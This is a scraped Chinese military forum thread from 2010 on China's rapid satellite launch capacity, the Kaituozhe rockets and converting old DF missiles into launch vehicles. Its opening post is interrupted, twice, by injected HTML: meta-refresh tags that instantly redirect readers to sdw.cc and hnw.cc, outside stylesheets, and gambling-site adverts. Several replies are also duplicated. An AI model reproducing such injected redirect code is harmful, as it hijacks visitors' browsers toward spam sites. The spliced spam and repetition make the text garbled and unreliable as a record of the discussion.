一个略显敏感的话题中国航天的快速发射能力-超级军网

各位朋友.当我们为一次次成功发射而欢呼时,大家一定都明白这些发射都是我们很早就已知晓的已定下的预定计划中的一部分,每年都还有很多计划无法完成,按前几年的信息,我国开发开拓者火箭以补充长征火箭20多天准备周期,但截致目前为止我们知道这一计划是不顺利的.那什么时候能突然听到报告一个我们每年年初不知道的发射呢.要知道我国周边形势很复杂,要是发生冲突,很可能几天就结束了,长征根本来不及准备,或者说解放军这几年的大型军演是否有过我们所不知道的快速应急机动发射呢,<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
 
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />

 
 

6.合.彩!!足球!篮球...各类投注开户下注
 
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台 各位朋友.当我们为一次次成功发射而欢呼时,大家一定都明白这些发射都是我们很早就已知晓的已定下的预定计划中的一部分,每年都还有很多计划无法完成,按前几年的信息,我国开发开拓者火箭以补充长征火箭20多天准备周期,但截致目前为止我们知道这一计划是不顺利的.那什么时候能突然听到报告一个我们每年年初不知道的发射呢.要知道我国周边形势很复杂,要是发生冲突,很可能几天就结束了,长征根本来不及准备,或者说解放军这几年的大型军演是否有过我们所不知道的快速应急机动发射呢,<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
 
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />

 
 

6.合.彩!!足球!篮球...各类投注开户下注
 
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台

别的国家也一样，这二十多天只是火箭进场以后的准备时间，从卫星设计（每颗星都有不同，要修改设计，当然工作量比新卫星型号的设计要简单得多）、制造、火箭生产、进场到发射要好几年，都是早就制定计划的。

象开拓者之类所谓的快速火箭实际上不成熟，运力低，成本高，而且卫星的准备周期也很长的，不是你火箭OK了就能发射。

对于楼主提的这个问题我觉得还是把钱花到其他方面，比如武器和军队建设方面，防止战争暴发或者暴发了我们能人打赢好得多。

关键还是发射位和发射场太少
还有经费有限,还有可能就是需求不是很旺盛吧
等海南文昌建设好了可能会一年多个10发左右的能力(个人感觉喔)

开拓者系列吧，看是否成熟

有钱想射多少都行。

估计海南一年的发射能力应该在30次左右。。

长5会把20多天简化到3天吧。
其实长2F的那个工位就快很多了吧。

快速发射用处大吗

百臂巨人发表于 2010-8-12 22:20

这个想得太美吧？
将来长6小运载可以在天津全箭组装好，然后用火车拉到太原基地，起竖，装星，再发射。就这样还是说得花一个星期。
长5再怎么也不会比长6快吧？3天大概是指占塔台的时间？但是不能把垂直组织、测试的时间不算时间。

回复 8# zjl625

敌人把你的卫星敲掉，你得快速补上。

TG早期的一些导弹快到寿命了吧，不知道能不能学一下苏俄，把旧导弹改装一下打卫星。即能获得经济上的收益，也能实战演练一次发射。

有可能就是需求不是很旺盛

回复 11# yakovlev

TG的旧导弹发卫星，和报废比起来，消费比如何还真不好说。

yakovlev 发表于 2010-8-14 00:29

这年头哪有打火箭之前不仔仔细细把螺丝钉都擦一遍的···

回复 14# acoustics
不止东风5呢，还有不少东风3，4吧。

主要是工位和发生方式的问题吧，用吊装的方式怎么也快不了，以后得想法子搞整体起竖。

回复 10# 李鹤帅

他敲你的你也敲他的啊，敲肯定比补快了

KT-1、KT-2就是为这个准备的....

回复 18# zjl625

既得敲他的，也得补自己的。

回复 20# 李鹤帅

发上去还没调试好就被人敲了，补也没用

回复 21# zjl625

要是矬到这种程度，干脆就别发射卫星，反正也要被人打下来。

这样还不如干掉人家的卫星来得便宜，大家都不靠卫星，直接PK。

即便有全套成熟的设计方案，卫星生产和火箭生产以及发射场的准备工作都需要比较长的时间，少则数月，多则经年，不是楼主想象的那么简单。与其搞快速发射不如平时在天上多布些星星，战时搞快速变轨来得方便。如果卫星布置得较多且分布均匀，则从变轨开始到对地观测的时间应该能控制在6000s上下（大约是一个低轨太阳同步轨道周期再多一点）。当然如果星星真布得密密麻麻那也用不着变轨了……

zjl625 发表于 2010-8-15 01:44

MD卫星比TG多10倍，生产能力也是10倍（TG卫星的许多关键元器件有对外依赖、可能被禁运的问题），打击卫星能力还是10倍（可供改装的“宙斯盾”舰近百呢）；
所以任重道远呀。

你说其他国家？敢先敲TG卫星的？

多年前高调亮象的开拓者除了打卫星那一次外,就再没什么实质性的消息啦,令人沮丧

nsa2000 发表于 2010-8-15 11:28

这不就是TG目前对ND表达的意思吗？

yakovlev 发表于 2010-8-14 23:48

:L那些是：更早期型+放旧了的

战时临时增补的多数是低轨道小卫星，需要的运力载荷不是太高吧

rottenweed 发表于 2010-8-13 10:04

因为最终制约速度的硬指标不就是发射塔的占用周期么，其他事情都是可以平行做的。只有发射塔必须排队一个一个上，一个占了另一个就什么也做不了。

MD开发10公斤载荷，可快速发射的小运载
http://lt.cjdby.net/thread-962977-1-4.html
这么小的东西怎么个用法？

yakovlev 发表于 2010-8-14 00:29

这个应该可以

acoustics 发表于 2010-8-16 15:33

http://www.9ifly.cn/sub/thread-3420-1-1.html

这个应该没问题

火箭存量应该有一些，上次那个不算成功的给印尼发射的就是用存货

这个应该可以
柳慕苏发表于 2010-8-16 20:16

这个不用想了，最初的CZ-2就是东风5的01批03-06弹改装的，早期CZ-2C则是之后的批次。当然现在的CZ-2C已经完全从东风5分化出来自成家族，最大LEO能力已经过了3吨。即使能把东风5改装成早期型CZ-2C，也不划算：没有多星能力、与现有发射场各系统不兼容、控制系统陈旧、任务适应性差、运力也只有1.8T上下(按早期CZ-2)、要改造成适合当代商业发射的火箭还要花不少钱。还不如新造CZ-2C划算。

老毛子的第聂伯是由R-36M洲际导弹（SS-18）改装，按照第一阶段削减战略武器条约，该导弹在削减之列，后来改造成了第聂伯。但原型导弹的投掷能力达7575kg，并有多弹头能力，改装倒简单的多。

按照TG的一贯原则，DF-5在不断延寿，真到了退役那天，肯定有某项科学实验任务在等着它，岂能轮到商业发射？

DF-4也可以加第三级改装成CZ-1，不过在一箭多星技术已经成熟的现在看来实在没有必要，况且新小运载已经呼之欲出。
DF-3就根本不要想，单级火箭是不可能达到入轨速度的。

固体导弹延寿容易，更是没有改装的必要，快速发射直接用固体运载火箭。

这个应该可以
柳慕苏发表于 2010-8-16 20:16

这个不用想了，最初的CZ-2就是东风5的01批03-06弹改装的，早期CZ-2C则是之后的批次。当然现在的CZ-2C已经完全从东风5分化出来自成家族，最大LEO能力已经过了3吨。即使能把东风5改装成早期型CZ-2C，也不划算：没有多星能力、与现有发射场各系统不兼容、控制系统陈旧、任务适应性差、运力也只有1.8T上下(按早期CZ-2)、要改造成适合当代商业发射的火箭还要花不少钱。还不如新造CZ-2C划算。

老毛子的第聂伯是由R-36M洲际导弹（SS-18）改装，按照第一阶段削减战略武器条约，该导弹在削减之列，后来改造成了第聂伯。但原型导弹的投掷能力达7575kg，并有多弹头能力，改装倒简单的多。

按照TG的一贯原则，DF-5在不断延寿，真到了退役那天，肯定有某项科学实验任务在等着它，岂能轮到商业发射？

DF-4也可以加第三级改装成CZ-1，不过在一箭多星技术已经成熟的现在看来实在没有必要，况且新小运载已经呼之欲出。
DF-3就根本不要想，单级火箭是不可能达到入轨速度的。

固体导弹延寿容易，更是没有改装的必要，快速发射直接用固体运载火箭。

miliamlau 发表于 2010-8-23 19:46

谢谢科普了，呵呵

搞个核潜艇海底发射卫星，战时快速发射。

搞个核潜艇海底发射卫星，战时快速发射。
废土行者发表于 2010-8-23 21:30

这个完全没有必要。核潜艇上具不具备保存卫星的条件还另说，关键是潜射弹道导弹的那点直径，至多能放下1颗卫星。牺牲一颗带多弹头的导弹换1颗卫星发射，消费比太低。

补充：潜射弹冷发射时的弹体过载也够卫星喝一壶了。你看现在改装成运载火箭的导弹都是液体热发射的。

搞个核潜艇海底发射卫星，战时快速发射。
废土行者发表于 2010-8-23 21:30

这个完全没有必要。核潜艇上具不具备保存卫星的条件还另说，关键是潜射弹道导弹的那点直径，至多能放下1颗卫星。牺牲一颗带多弹头的导弹换1颗卫星发射，消费比太低。

补充：潜射弹冷发射时的弹体过载也够卫星喝一壶了。你看现在改装成运载火箭的导弹都是液体热发射的。

一个略显敏感的话题 中国航天的快速发射能力

一个略显敏感的话题中国航天的快速发射能力